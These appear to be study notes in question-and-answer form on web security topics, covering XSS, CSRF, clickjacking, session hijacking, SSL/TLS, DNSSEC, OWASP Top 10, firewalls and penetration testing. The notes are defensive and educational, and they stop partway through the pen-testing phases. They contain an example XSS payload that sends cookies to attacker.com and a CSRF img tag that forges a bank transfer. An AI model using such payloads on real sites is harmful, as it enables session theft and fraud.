Web Security

Q. Explain different types of web browser attacks.

Web browser attacks target vulnerabilities in browsers or their extensions to:

- Steal personal data (e.g., passwords, cookies)
- Hijack sessions
- Install malware
- Trick users through deceptive interfaces

These attacks take advantage of **browser scripts**, **insecure code**, and **user trust**.

Common Types of Web Browser Attacks

1. Cross-Site Scripting (XSS)

- Attacker injects **malicious JavaScript** into a website
- Script runs in the victim's browser, stealing cookies, login data, or modifying content

Example:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

---

2. Cross-Site Request Forgery (CSRF)

- Forces a **logged-in user's browser** to send unwanted requests to a website
- Exploits the browser's **automatic credential sending** (like cookies)

Example: Clicking on a malicious link that silently transfers money from your bank account

---

3. Clickjacking

- Attacker hides malicious buttons or forms **under legitimate content**
- User thinks they're clicking a safe link, but actually **performs an unwanted action**

Often used to trick users into changing settings or "liking" a page

---

4. Drive-By Download

- Visiting a compromised or malicious site **automatically downloads and runs malware**
- May exploit **unpatched browser vulnerabilities**

---

5. Malicious Browser Extensions

- Users install browser extensions that appear safe but secretly:
    - Steal browsing history
    - Log keystrokes
    - Redirect search traffic

---

6. Man-in-the-Browser (MitB) Attack

- A form of malware resides in the browser and:
    - Intercepts or alters form submissions
    - Changes banking transactions silently

Commonly used in online banking frauds

---

7. Phishing via Fake Browser Alerts or UI

- Fake popups imitate browser or system messages
- Trick users into entering passwords or downloading fake “antivirus” software

---

8. DNS Spoofing / Hijacking

- Redirects the browser to **fake websites** using manipulated DNS responses
- Even typing a correct URL opens a **malicious imitation site**

How to Prevent Web Browser Attacks

Method	**How It Helps**
Keep browser updated	Fixes known vulnerabilities
Disable JavaScript where not needed	Blocks XSS and scripts
Use ad/script blockers	Stops drive-by downloads and malvertising
Verify extensions before installing	Avoid malicious add-ons
Use HTTPS (SSL/TLS)	Prevents man-in-the-middle and DNS spoofing
Log out of sensitive sites	Reduces CSRF risk

Method	How It Helps
Enable browser sandboxing	Isolates malicious pages from affecting system

Q. Define web security and explain the role of cookies.

Web security refers to the set of measures used to **protect websites, web applications, and users** from cyber threats such as:

- Data theft
- Unauthorized access
- Session hijacking
- Malware injection
- Exploits like **SQL injection**, **XSS**, **CSRF**, etc.

The goal is to ensure **confidentiality**, **integrity**, and **availability** of web services and user data.

Common Threats in Web Security

Threat Type	Description
XSS (Cross-Site Scripting)	Injecting scripts into web pages
CSRF (Cross-Site Request Forgery)	Forcing browsers to perform unwanted actions
SQL Injection	Injecting malicious SQL into queries
Session Hijacking	Stealing or spoofing session identifiers
Phishing/Clickjacking	Tricking users into revealing credentials

---

Cookies are **small pieces of data stored by the browser** on behalf of a website.
They are used to **maintain session state**, **track users**, and store **preferences or authentication tokens**.

Example: After login, a cookie may store a session ID like session_id=abc123.

Role of Cookies in Web Security

Purpose	Description
Session Management	Store session tokens so users stay logged in across pages
User Authentication	Identify logged-in users without re-authentication
User Tracking	Enable features like “remember me”, personalization, and analytics
Security Vulnerability Vector	Cookies can be **stolen** or **forged** if not properly protected

---

Cookie-Related Web Security Risks

Risk	Description
Session Hijacking	If an attacker steals the session cookie, they can impersonate the user
XSS Exploits	Injected JavaScript can access cookies unless flagged as HttpOnly
CSRF Attacks	Cookies are automatically sent with every request, making CSRF possible
Cookie Poisoning	Attacker modifies a cookie to alter session data or bypass checks

---

Secure Cookie Practices

Technique	Purpose
HttpOnly	Stops JavaScript from reading the cookie (blocks XSS)
Secure	Ensures cookies are sent only over HTTPS
SameSite	Restricts cookies from being sent with cross-site requests (prevents CSRF)
Encryption	Encrypts sensitive data stored in cookies
Short Expiry Times	Limits the window for session hijacking
Cookie Deletion	Removes cookies when logout to prevent others from reusing them.

Q. Explain secure socket layer (SSL).

SSL (Secure Socket Layer) is a cryptographic protocol that provides **secure communication over the internet** by **encrypting data** between a **web browser** and a **web server**.

SSL ensures **confidentiality**, **integrity**, and **authentication** when transmitting sensitive data like login credentials, credit card numbers, etc.

SSL has been replaced by **TLS (Transport Layer Security)**, but the term "SSL" is still commonly used.

Key Goals of SSL

Goal	Purpose
Confidentiality	Encrypt data so third parties can't read it
Integrity	Ensure data is not altered in transit
Authentication	Verify the server (and the client) identity using **digital certificates**

How SSL Works

Step 1: SSL Handshake (Key Exchange)

1. **Client Hello**
    - Client sends supported **SSL/TLS version**, **cipher suites**, and a **random number**
2. **Server Hello**
    - Server replies with chosen **cipher suite**, its **digital certificate (X.509)**, and its **random number**
3. **Authentication**
    - Client verifies the **server certificate** using a trusted **Certificate Authority (CA)**
4. **Session Key Generation**
    - Both parties use exchanged info to securely generate a **shared session key** (symmetric key)
5. **Handshake Complete**
    - Now both sides encrypt and decrypt data using the **shared key**

Step 2: Encrypted Communication

- All future messages are **encrypted** using a **symmetric algorithm** (e.g., AES)

- Ensures **privacy and data integrity** throughout the session

---

Protocols Secured by SSL

- **HTTPS** (HTTP over SSL/TLS)
- **FTPS** (FTP Secure)
- **IMAPS**, **POP3S** (for secure email)
- **LDAPS** (Lightweight Directory Access Protocol Secure)

Benefits of SSL

Benefit	Explanation
Encrypts data	Prevents eavesdropping and sniffing
Authenticates server	Confirms identity using certificates
Prevents tampering	Detects if messages are altered
Builds trust	Websites show a **padlock** icon in browsers

Q. Explain the SSL handshake protocol.

The **SSL handshake** is the **initial process** in SSL/TLS communication where the **client and server establish trust**, **exchange encryption keys**, and **agree on how to securely communicate**.

It enables **confidential**, **authenticated**, and **integrity-protected** communication before any real data is exchanged.

Q. Explain HTTPS.

HTTPS (Hypertext Transfer Protocol Secure) is the **secure version of HTTP**, used for **secure communication between a web browser (client)** and a **web server**.

It adds **encryption**, **authentication**, and **data integrity** by using **SSL/TLS protocols** underneath the standard HTTP protocol.

Key Features of HTTPS

Feature	Description
Encryption	Data is encrypted using **SSL/TLS**, so attackers cannot read it (e.g., passwords, credit cards)
Authentication	The server presents a **digital certificate** (issued by a trusted CA) to prove its identity
Integrity	Ensures the transmitted data is **not modified or tampered with** in transit

---

How HTTPS Works

1. **Client sends request** to access a secure site (e.g., https://example.com)
2. **Server responds with SSL/TLS certificate**
3. **Browser verifies the certificate** using a trusted Certificate Authority (CA)
4. Both client and server perform the **SSL/TLS handshake**:
    - Agree on **encryption algorithms**
    - Generate a **shared session key**
5. All data is now **encrypted and securely transmitted**

Benefits of Using HTTPS

Benefit	Description
Protects user data	Especially important for login forms, payments, and personal info
Builds trust	Users see a padlock icon in the browser
Prevents MITM attacks	Stops eavesdropping and session hijacking
SEO advantage	Search engines like Google prefer HTTPS sites
Compliance	Required for GDPR, PCI-DSS, and other security standards

Q. Compare HTTP vs HTTPS.

Criteria	HTTP	HTTPS
Full Form	HyperText Transfer Protocol	HTTP Secure (uses SSL/TLS)

Criteria	HTTP	HTTPS
Security	Not secure — data sent in plaintext	Secure — data is encrypted
Data Encryption	No	Yes — uses SSL/TLS
Authentication	No server identity verification	Server identity verified using digital certificates
Data Integrity	No protection from tampering	Ensures message is not altered
Port Used	80	443
URL Prefix	http://	https://
Padlock Symbol	Not shown	Shown in browser address bar
SEO Impact	No ranking benefit	Preferred by Google
Typical Use Cases	Non-sensitive pages (e.g., blogs, public info)	Sensitive pages (e.g., logins, payments, personal data)
Protection from MITM	No	Yes — protects from man-in-the-middle attacks
Certificate Required	No	Yes — needs an SSL/TLS (X.509) certificate
Performance	Slightly faster (no encryption overhead)	Slightly slower, but difference is minimal
Data Transmission	Plaintext — can be intercepted	Encrypted — secure from eavesdropping

Q. Explain SSH.

SSH (Secure Shell) is a **network protocol** that allows users to securely access and manage remote devices (like servers) over an **unencrypted or insecure network**.

SSH provides **encrypted communication**, **authentication**, and **secure remote control**, especially for **Linux/Unix systems**.

Key Features of SSH

Feature	Description
Encryption	Protects data from eavesdropping or tampering
Authentication	Verifies users using passwords or **public-key cryptography**
Remote Access	Allows secure **command-line login** to remote servers
Secure File Transfer	Tools like **SCP** and **SFTP** use SSH to securely transfer files
Port Forwarding	Encrypts application traffic (e.g., tunneling insecure protocols through SSH)

How SSH Works

- **A. Client–Server Model**
  - **Client**: The system initiating the connection (e.g., your PC)
  - **Server**: The remote machine (e.g., a Linux server running sshd)
- **B. Typical SSH Command**

ssh user@remote-host

- Connects you to remote-host as user

SSH Authentication Methods

Method	Description
Password-based	User enters a password for remote login
Public Key Authentication	Uses a **key pair**: • **Private key** stays with the user • **Public key** is placed in the server's ~/.ssh/authorized_keys file More secure and preferred over passwords |

SSH Components

Component	Role
sshd	SSH server daemon (runs on server)
ssh	SSH client program (runs on user's system)

Component	Role
scp	Secure copy (file transfer via SSH)
sftp	Secure FTP using SSH
~/.ssh/	Folder storing SSH keys and configs

Security Features of SSH

Security Feature	Protection
Encryption	All traffic (commands, passwords, file transfers) is encrypted
Host Authentication	Confirms you're connecting to the correct server
Integrity Checks	Ensures messages aren't altered during transfer
Port Forwarding	Securely tunnels insecure protocols (like VNC, MySQL)

Q. Explain account harvesting.

Account harvesting is a **security attack** in which an attacker tries to **collect valid usernames or email addresses** from a system, often to use in **brute-force login attacks**, **phishing**, or **social engineering**.

The goal is to **identify which user accounts exist** on a system, even if the attacker doesn't know the password yet.

How Account Harvesting Works

Attackers take advantage of **differences in system responses** to determine whether a username exists.

Example: Login Page

- User enters a **valid username** → Gets error: *"Incorrect password"*
- User enters an **invalid username** → Gets error: *"User does not exist"*

The attacker can now confirm which usernames are real.

Common Methods of Account Harvesting

Method	Description
Login Error Messages	Responses reveal whether a username is valid
Email Registration Forms	System tells user if email already exists
Forgot Password Feature	System says: "A reset link has been sent to user@example.com"
Public Listings or Directories	Open directories with usernames/emails
Social Engineering or Phishing	Trick users into revealing valid usernames

---

Dangers of Account Harvesting

Risk	Impact
Brute-force login attacks	Use harvested usernames to try password combinations
Targeted phishing	Send fake messages to real users to steal credentials
Credential stuffing	Try leaked passwords from other sites on valid usernames
Information gathering	Gain insights into internal user structures or naming conventions

---

How to Prevent Account Harvesting

Technique	Description
Generic error messages	Always respond with: *"Invalid username or password"* regardless of input
Rate limiting	Limit the number of login attempts per IP
CAPTCHA / Bot protection	Prevent automated enumeration attempts
Multi-Factor Authentication (MFA)	Even if the username is valid, MFA blocks unauthorized access
Monitor login logs	Detect patterns of username scanning or enumeration
Email confirmations	Do not reveal user existence in password reset or signup messages

Q. Explain web bugs.

A **web bug** (also known as a **tracking bug**, **pixel tag**, or **beacon**) is a **tiny, invisible object embedded in a webpage or email** that is used to **track user activity** without the user's knowledge.

Usually implemented as a **1×1 pixel transparent image**, web bugs are used for **covert monitoring**, such as checking if an email was read or tracking page visits.

How Web Bugs Work

- When a user opens an email or visits a webpage:
    - The browser automatically loads all embedded resources, including the web bug.
- The web bug is hosted on a **remote server** controlled by the tracker.
- The server logs:
    - **User's IP address**
    - **Time of access**
    - **Browser type**
    - **Referrer (previous page)**
    - Sometimes, **email address or cookies**

The act of loading the bug sends data back to the tracker.

Common Use Cases of Web Bugs

Use Case	Description
Email Tracking	Determines whether the recipient opened the email and when
Web Analytics	Tracks which pages a user visits and how long they stay
User Profiling	Collects behavioral data for advertising or surveillance
Privacy Invasion	Can be used to track users **without their consent** across multiple websites or emails

---

Characteristics of Web Bugs

Feature	Description
Invisible	Often a 1x1 transparent GIF or PNG image

Feature	Description
Silent	Doesn’t display or alert the user
Remotely hosted	Loaded from a third-party tracking server
Scriptless	Often doesn’t use JavaScript (just a basic <img> tag)

How to Prevent Web Bugs

Method	How It Helps
Block remote images in email	Prevents bugs from loading unless explicitly allowed
Disable automatic image loading	Stops web bugs from activating silently
Use privacy-focused email clients	Some clients block tracking pixels by default (e.g., ProtonMail)
Use browser extensions (e.g., uBlock Origin)	Blocks known tracker domains
HTML-to-text email conversion	Reading emails in plain text avoids executing image requests

Q. Explain session hijacking? How can it be prevented?

Session hijacking is an attack in which a malicious user **takes over a valid session** between a user and a web server.

The attacker **steals or guesses a session ID**, which allows them to impersonate the user **without needing a password**.

What Is a Session?

- When you log in to a website, the server creates a **session** to remember who you are.
- A unique **Session ID** (often stored in a cookie) is used to identify your session.
- If someone **steals that session ID**, they can take control of your session.

How Session Hijacking Works

Step	Explanation
User logs into a secure site	Server assigns a **session ID** (e.g., sessionid=xyz123)
Attacker steals the session ID	Via methods like sniffing, XSS, or insecure cookies
Attacker uses stolen ID	Attacker sends requests with the same session ID — now impersonating the user
Server treats attacker as the real user	Allows access to user's data or account functions

---

Common Methods of Session Hijacking

Method	Description
Packet sniffing	If session cookies are sent over **HTTP** (not HTTPS), attacker intercepts them
Cross-site scripting (XSS)	Malicious JavaScript steals session cookies
Session fixation	Attacker sets a known session ID before login
Predictable session IDs	If session IDs are weak or guessable
Man-in-the-middle (MITM)	Attacker intercepts traffic between user and server

---

How to Prevent Session Hijacking

Technique	Description
Use HTTPS (TLS)	Encrypts all traffic, including session cookies
Set HttpOnly on cookies	Prevents JavaScript from reading session ID (blocks XSS theft)
Use Secure cookie flag	Sends cookies only over HTTPS
Enable SameSite cookie flag	Prevents cross-site cookie usage (CSRF prevention)
Regenerate session IDs on login	Prevents **session fixation**
Short session timeouts	Reduces window of opportunity for hijacking
Bind sessions to IP/User-Agent	Server checks for changes and invalidates session if mismatch

Technique	Description
Input sanitization	Prevents XSS, a common source of cookie theft

Q. Explain clickjacking with an example. How can it be mitigated?

Clickjacking is a **user interface (UI) redress attack** where a malicious website **tricks users into clicking on something different** than what they perceive — like clicking on an invisible button overlaid on a harmless page.

The attacker **"hijacks" the user's click**, making them unknowingly perform actions such as:

- Changing security settings
- Liking a social media post
- Transferring money
- Submitting confidential information

How Clickjacking Works (Example)

Imagine you're on a website with a **"Play Video"** button.

But secretly, an **invisible iframe** from a banking site is placed on top of that button, aligned with the **"Transfer Funds"** button.

So when you click "Play Video", you're actually clicking **"Transfer ₹10,000"** on your bank's website.

You **see one thing** but actually **click something else.**

Real-World Examples

Scenario	Impact
"Like" button click on Facebook	Attacker gets free promotion from user
Account setting changes	User unknowingly disables 2FA or grants access
Online banking fraud	User clicks to unknowingly transfer money
Privacy permission abuse	Clicks enable camera/mic or share location

---

How to Mitigate Clickjacking

Technique	Description
X-Frame-Options HTTP Header	Tells browsers not to display your site inside an iframe. - DENY: Blocks all iframe embedding. - SAMEORIGIN: Allows framing only from the same domain.
Content Security Policy (CSP)	Use Content-Security-Policy: frame-ancestors 'none'; to restrict which sources can embed your content in a frame.
UI Design Techniques	Use random button positions, two-click confirmation, or hover verification
Frame Busting Scripts	Use JavaScript to prevent your site from being embedded
User Awareness	Educate users to avoid suspicious sites or clicks
Browser Protections	Modern browsers often block framing unless allowed explicitly

Q. Explain the CSRF? How can it be mitigated? How to prevent it using tokens?

CSRF (Cross Site Request Forgery) is a web security attack where a **malicious website tricks a user's browser** into performing an **unauthorized action** on a trusted website where the user is already logged in.

The attacker **"forges" a request** using the user's **authenticated session**, without the user's knowledge.

How CSRF Works (Example)

Scenario:

1. **User is logged into their bank** (bank.com) in one browser tab.
2. User visits a **malicious website** (evil.com) in another tab.
3. That malicious site contains:

<img src="https://bank.com/transfer?to=hacker&amount=5000">

4. The browser **automatically sends the bank's session cookie**, because the user is already logged in.
5. **Money gets transferred** — user never clicked anything intentionally.

This works because **browsers automatically attach cookies**, even to cross-site requests.

Why CSRF Is Dangerous

Impact	Example
Unauthorized actions	Transfers money, changes password
Bypasses user consent	Uses victim's credentials silently
Affects session-authenticated sites	Banking, e-commerce, admin panels

---

How to Mitigate CSRF

A. Use Anti-CSRF Tokens (Best Practice)

- Include a **random, secret token** in every form/request
- Token is **stored on the server** and verified with every POST/PUT/DELETE request
- Attacker **cannot guess or steal the token**, so forged requests fail

B. Use SameSite Cookie Attribute

- Prevents cookies from being sent with **cross-site requests**
- SameSite=Strict or SameSite=Lax on the session cookie **blocks CSRF by design**

C. Use Custom Headers

- AJAX/JavaScript requests can send a custom header like:
- X-CSRF-Token: a8e9d2...
- Browsers **don't allow cross-origin scripts** to set custom headers unless CORS is configured → CSRF blocked

D. Require Reauthentication for Sensitive Actions

- Ask for password confirmation before:
    - Changing passwords
    - Making transfers
    - Modifying admin settings

Q. How can content security policy (CSP) help prevent cross-site scripting?

CSP (Content Security Policy) is a powerful **security feature provided by web browsers** to help prevent **Cross-Site Scripting (XSS)** and other **code injection attacks**.

CSP acts like a **security rulebook** for the browser, telling it **what content it's allowed to load and execute** on a webpage.

What Is Cross-Site Scripting (XSS)?

XSS occurs when an attacker injects **malicious scripts (usually JavaScript)** into a trusted website, causing the victim's browser to:

- Execute unwanted code
- Steal cookies or session tokens
- Redirect users or deface pages

How CSP Helps Prevent XSS

Blocks Inline Scripts and Untrusted Sources

- By default, CSP can **disallow inline JavaScript** (<script>) and restrict loading of scripts only from **trusted sources**.

Mitigates Common XSS Attack Vectors

Attack Type	**CSP Defense**
Inline JavaScript XSS	Blocked unless 'unsafe-inline' is enabled
External script injection	Blocked if script is not from allowed source
Malicious image/event handlers	Blocked if not from trusted domains
Form action to another domain	Can be blocked using form-action directive

Q. Explain phishing and pharming attacks. How can they be detected and prevented?

What Is Phishing?

Phishing is a **social engineering attack** where attackers **trick users into revealing sensitive information**, such as:

- Login credentials
- Credit card numbers
- Banking details

The attacker **impersonates a trusted entity** (e.g., a bank, government, or popular website) through fake emails, websites, or messages.

Example of Phishing:

- You receive an email from "support@yourbank.com" with a link to "yourbank-login.com"
- The link leads to a **fake login page**
- If you enter your credentials, they are sent directly to the **attacker**, not the bank

---

What Is Pharming?

Pharming is a **DNS-based attack** that redirects users from a **legitimate website to a malicious one**, even if the user types the correct URL.

Unlike phishing, **pharming manipulates the DNS system** or the **host's file** to perform redirection without user interaction.

Example of Pharming:

- You type www.bank.com in the browser
- But due to a **compromised DNS server** or **altered hosts file**, you're silently redirected to a **fake version** of the bank's site
- You unknowingly enter your login details, which go to the attacker

---

Detection Techniques

Attack Type	Detection Methods
Phishing	• Look for suspicious or mismatched email addresses • Hover over links to preview URL before clicking • Watch for spelling errors, poor grammar, or urgent tone • Use email filters and anti-phishing tools
Pharming	• Use DNS monitoring tools to detect changes • Watch for unexpected SSL/TLS certificate warnings • Verify the site's certificate issuer is legitimate • Scan the system for a modified hosts file

---

Prevention Techniques

Method	Phishing	Pharming
User education	✅	✅
Anti-phishing browser extensions	✅	❌
Use HTTPS + Check Certificates	✅	✅
Spam filters and email scanners	✅	❌
DNSSEC (DNS Security Extensions)	❌	✅
Disable editing of hosts file	❌	✅
Antivirus / Anti-malware software	✅	✅
Always type URLs manually	✅	✅

Q. Explain DNS attacks. What is DNS spoofing. What is DNSSEC. How can DNSSEC prevent it?

The **Domain Name System (DNS)** is like the **phonebook of the internet** — it translates **domain names** (like example.com) into **IP addresses** (like 192.0.2.1).

When you visit a website, your browser asks DNS:
"What's the IP address of example.com?"

What Are DNS Attacks?

DNS attacks target the DNS infrastructure to:

- Redirect users to **malicious websites**
- **Intercept or manipulate** traffic
- **Disrupt services** (DoS/DDoS)

Common Types of DNS Attacks

Attack Type	Description
DNS Spoofing / Cache Poisoning	Attacker injects **false IP address** into DNS cache → Users are redirected to **fake websites**

Attack Type	Description
DNS Hijacking	Changes DNS settings on a victim’s device or router
DNS Amplification (DDoS)	Uses open DNS servers to flood a target with traffic
DNS Tunneling	Encodes data in DNS queries to **bypass firewalls** or **exfiltrate data**

What Is DNS Spoofing (Cache Poisoning)?

DNS spoofing is a type of attack where a **malicious DNS response is injected into a resolver's cache**, causing users to be redirected to **fake or malicious sites**, even when they type the **correct domain name**.

The attacker sends a **forged DNS response** faster than the legitimate one.

Example:

1. User wants to visit bank.com
2. Attacker poisons DNS cache with:
3. bank.com → 6.6.6.6 (fake site)
4. User is sent to a **fake login page** instead of the real bank site

---

4. What Is DNSSEC (DNS Security Extensions)?

DNSSEC is a set of **security protocols** that **adds digital signatures** to DNS data to ensure:

- **Authenticity** — The data really came from the DNS server
- **Integrity** — The data wasn't altered during transmission

DNSSEC does **not encrypt DNS**, but it **signs records** to **prove they are genuine**.

How DNSSEC Prevents DNS Spoofing

Feature	Function
Digital Signatures	Each DNS record is signed with a **private key**
Signature Verification	Resolver checks the **signature** using a **public key** published in the DNS
Tampered data = rejected	If a spoofed response doesn't match the signature, it’s **discarded**

Feature	Function
Chain of Trust	Starts at the DNS root and follows down to the specific domain (e.g., .com → example.com)

Without DNSSEC:

- Attacker can forge a fake response, and your system will **accept it**.

With DNSSEC:

- Attacker's fake response **won't match the cryptographic signature → Browser rejects it**

Q. Explain the SET (Secure Electronic Transaction).

SET is a **security protocol** developed by **Visa and MasterCard** (with support from companies like **Microsoft and IBM**) to ensure **secure credit card transactions** over **insecure networks**, especially the **Internet**.

The goal of SET is to ensure **confidentiality**, **authentication**, and **integrity** of online payment data — without exposing credit card information to the merchant.

Key Objectives of SET

Objective	Purpose
Confidentiality	Protect payment details (e.g., credit card number) from being read by unauthorized parties
Authentication	Verify identities of **cardholder**, **merchant**, and **payment gateway**
Data Integrity	Ensure data is not modified during transmission
Non-repudiation	Digital signatures prove that parties can't deny involvement

---

Parties Involved in SET

Participant	Role
Cardholder	The user making the online purchase
Merchant	The online store receiving the order

Participant	Role
Payment Gateway	Processes the payment with the card issuer
Certification Authority (CA)	Issues **digital certificates** to verify the identity of each party

---

How SET Works

Step 1: Certificate Exchange

- All parties (customer, merchant, payment gateway) have **digital certificates** issued by a **CA**
- These certificates contain **public keys** used for encryption and authentication

Step 2: Purchase Request

- Cardholder selects product and submits a **SET-formatted message**:
    - Encrypted **order information (OI)** → readable by the merchant
    - Encrypted **payment information (PI)** → readable **only by the bank**

This separation ensures the **merchant never sees the credit card number**

Step 3: Merchant Processing

- Merchant forwards the **payment info** (still encrypted) to the **payment gateway**
- The merchant adds their **digital signature** to prove the order is legitimate

Step 4: Authorization

- The payment gateway:
    - Decrypts the payment info
    - Contacts the card-issuing bank
    - Gets **authorization**
    - Sends back a **digital receipt** to the merchant

Step 5: Confirmation

- Merchant sends confirmation to the customer, along with a **signed receipt**

Security Features in SET

Feature	Description
Dual encryption	Keeps **order info** and **payment info** separate and secure

Feature	Description
Digital signatures	Used by all parties for **authentication and non-repudiation**
Certificates (X.509)	Verify identities of all participants
No credit card exposure to merchants	Only payment gateway can decrypt card details

Q. Explain different types of email attacks.

Email attacks are malicious activities performed via email to:

- Steal sensitive data (like passwords or financial info)
- Distribute malware
- Trick users (social engineering)
- Exploit trust in familiar-looking messages

Email is one of the **most common vectors** for **cyberattacks**, especially **phishing** and **malware distribution**.

Types of Email Attacks

1. Phishing

- **Fake emails** that impersonate trusted sources (e.g., banks, services)
- Goal: Trick the user into clicking malicious links or revealing credentials

Example: *"Your account is suspended. Click here to verify login info."*
Leads to a fake website that steals your password.

---

2. Spear Phishing

- A **targeted phishing attack** aimed at specific individuals or organizations
- Highly customized using **personal information** (name, job role, etc.)

Often used in **business email compromise (BEC)** or to target executives.

---

3. Whaling

- A **spear phishing attack targeting high-level executives** (CEO, CFO)
- Often involves financial fraud or data theft

Example: Fake email from "CEO" instructing accounts team to **transfer funds**.

---

4. Email Spoofing

- Attacker **forges the sender's address** to look like it came from a trusted source
- Exploits weak email authentication like **lack of SPF, DKIM, or DMARC**

Email may appear from: hr@company.com but is actually from attacker@evil.com

---

5. Email-based Malware Delivery

- Email contains **malicious attachments** or links to **download malware**
- Common file types: .exe, .docx with macros, .zip, .js

Examples of malware:

- Ransomware
- Remote Access Trojans (RATs)
- Keyloggers

---

6. Business Email Compromise (BEC)

- Attacker gains access to or impersonates a **real corporate email account**
- Used to **authorize payments**, **change bank details**, or **harvest internal info**

Often **no malware involved**, just social engineering.

---

7. Spam (Unsolicited Bulk Email)

- Unwanted emails often used for:
    - Advertising
    - Scams
    - Malware delivery

While not always malicious, spam can **overload systems** and lead to **phishing exposure**.

---

8. Email Bombing

- Flooding a user's inbox with thousands of messages to:
    - Crash mail services

- Hide a real attack
- Disrupt communication

Prevention Techniques

Method	Helps Prevent
🛡 **Spam filters and firewalls**	Spam, phishing, malware
🧠 **User awareness training**	Phishing, spear phishing
🔐 **Email authentication (SPF, DKIM, DMARC)**	Email spoofing
🚫 **Block unsafe attachments and macros**	Malware delivery
📃 **Verify payment requests**	BEC and whaling
🔒 **Use strong passwords and MFA**	Account takeovers

Q. Explain OWASP and its 10 vulnerabilities.

OWASP stands for **Open Web Application Security Project** — a **non-profit organization** that provides **free and open resources** to help developers build **secure web applications**.

One of OWASP's most well-known projects is the **"OWASP Top 10"**, which is a list of the **10 most critical web application security risks**.

OWASP Top 10 Vulnerabilities (2021 Edition)

A01: Broken Access Control

- **What it is**: Users can access data or actions they shouldn't
- **Example**: Regular users viewing admin-only pages
- **Fix**: Enforce access checks on server-side

A02: Cryptographic Failures (Previously: Sensitive Data Exposure)

- **What it is**: Failure to protect sensitive data (e.g., passwords, credit cards)
- **Example**: Sending passwords over HTTP or storing them in plaintext
- **Fix**: Use strong encryption (e.g., TLS, hashing with salt)

A03: Injection

- **What it is**: Malicious code inserted into input fields
- **Example**: SQL Injection, Command Injection
- **Fix**: Use parameterized queries, input validation

A04: Insecure Design

- **What it is**: Weaknesses caused by poor security architecture
- **Example**: No rate limiting on login attempts
- **Fix**: Design with security in mind from the beginning (secure SDLC)

A05: Security Misconfiguration

- **What it is**: Leaving default passwords, open ports, or debugging features enabled
- **Example**: Leaving admin panel open to the internet
- **Fix**: Harden system settings, remove unused features

A06: Vulnerable and Outdated Components

- **What it is**: Using outdated libraries with known security flaws
- **Example**: Old versions of jQuery, Apache, or WordPress plugins
- **Fix**: Regularly patch and update software

A07: Identification and Authentication Failures

- **What it is**: Weak login mechanisms
- **Example**: No multi-factor authentication, weak password policies
- **Fix**: Enforce strong auth (e.g., MFA, lockouts)

A08: Software and Data Integrity Failures

- **What it is**: Not verifying the integrity of software or updates
- **Example**: Using plugins from untrusted sources
- **Fix**: Use signed packages, supply chain integrity checks

---

A09: Security Logging and Monitoring Failures

- **What it is**: Failing to detect or respond to attacks
- **Example**: No alert on multiple failed logins
- **Fix**: Implement centralized logging and monitoring

A10: Server-Side Request Forgery (SSRF)

- **What it is**: Server is tricked into making requests on behalf of the attacker
- **Example**: Accessing internal APIs or metadata services
- **Fix**: Validate URLs, restrict outbound requests

Q. Explain firewalls – types and the OSI layer they operate at.

A **firewall** is a **security system** (hardware or software) that **monitors and filters incoming and outgoing network traffic** based on **predefined security rules**.

Its main purpose is to **block unauthorized access** and **allow trusted communication**.

Types of Firewalls and Their OSI Layers

Firewalls are classified based on their **functionality** and **which OSI layer** they inspect:

---

1. Packet-Filtering Firewall

- **Layer: Network Layer (Layer 3)** and **Transport Layer (Layer 4)**
- **How it works:** Inspects **IP addresses, ports, and protocols** in each packet
- **Allows/Drops** packets based on rules like:
    - IP:Port combinations
    - Protocol type (TCP, UDP)

Doesn't inspect packet content — **stateless**.

---

2. Stateful Inspection Firewall (Dynamic Packet Filtering)

- **Layer: Transport Layer (Layer 4)** and some **Application Layer (Layer 7)** features
- **How it works:** Maintains a **connection table** to track active sessions.

- Only allows **responses to legitimate requests**.

More secure than basic packet filtering.

---

3. Application Layer Firewall (Proxy Firewall)

- **Layer: Application Layer (Layer 7)**
- **How it works:** Understands **protocols like HTTP, FTP, DNS**, etc.
- Acts as an **intermediary (proxy)** — inspects actual **data payload**.

Example: Blocks harmful scripts in HTTP requests.

---

4. Circuit-Level Gateway

- **Layer: Session Layer (Layer 5)**
- **How it works:** Verifies **TCP handshake** before allowing packets through.
- Doesn't inspect content — only checks **whether session is legitimate**.

Lightweight but limited in filtering capability.

---

5. Next-Generation Firewall (NGFW)

- **Layers:** Multiple layers — **Network to Application (Layers 3–7)**
- Combines:
    - Packet filtering
    - Stateful inspection
    - Application control
    - **Intrusion Detection/Prevention (IDS/IPS)**
    - Deep packet inspection (DPI)

Provides **comprehensive security** for modern networks.

Q. How does a firewall differ from an IDS and IPS?

Feature	Firewall	IDS	IPS
Main Role	Filter traffic	Detect threats	Detect & Block threats

Feature	Firewall	IDS	IPS
Action	Allow or deny traffic	Alert only	Alert + prevent/block
Deployment	At network boundary	Passive monitoring	Inline (traffic flows through)
OSI Layers	L3–L4 (sometimes L7)	L2–L7 (deep inspection)	L3–L7
Block Attacks?	Yes	No	Yes
Example Threats Stopped	Port scans, unauthorized access	SQL injection, XSS (alerts)	SQL injection, DDoS (blocks)

Q. Explain penetration testing? Explain its phases.

Penetration Testing (or **Pen Testing**) is a **simulated cyberattack** on a computer system, network, or web application to **identify security vulnerabilities** that an attacker could exploit.

It's like **ethical hacking** — where security experts mimic real-world attackers to find and fix weaknesses **before actual hackers do**.

Goals of Penetration Testing

- **Identify vulnerabilities**
- **Evaluate effectiveness of security defenses**
- **Test incident detection and response**
- **Ensure compliance** (e.g., PCI-DSS, ISO 27001)

Phases of Penetration Testing

Penetration testing is usually carried out in **five structured phases**:

Phase 1: Planning and Reconnaissance

Purpose:

- Understand the **scope**, **target**, and **rules of engagement**
- Collect intelligence about the target system (aka **footprinting**)

Activities:

- Define goals (e.g., test a website, network, or database)
- Perform **passive reconnaissance** (e.g., WHOIS, DNS lookup, social media)
- Identify technologies, IP ranges, and services

Like **casing a bank before a robbery** — gathering information without touching anything.

Phase 2: Scanning and Enumeration

Purpose:

- Identify **open ports**, **services**, and **live systems**
- Find possible entry points

Techniques:

- **Port scanning** (e.g., with Nmap)
- **Service fingerprinting** (detect versions of software)
- **OS detection**
- **User enumeration**

Like checking which doors and windows are unlocked.

Phase 3: Gaining Access (Exploitation)

Purpose:

- Attempt to **exploit identified vulnerabilities**

Examples:

- Exploiting **SQL injection**, **XSS**, **buffer overflow**
- Cracking passwords or bypassing authentication
- Uploading web shells or gaining admin access

The ethical hacker **becomes the attacker** to see what damage could be done.

Phase 4: Maintaining Access (Post-Exploitation)

Purpose:

- Simulate a **persistent attacker** staying inside the system
- Evaluate **privilege escalation**, **data theft**, **persistence mechanisms**

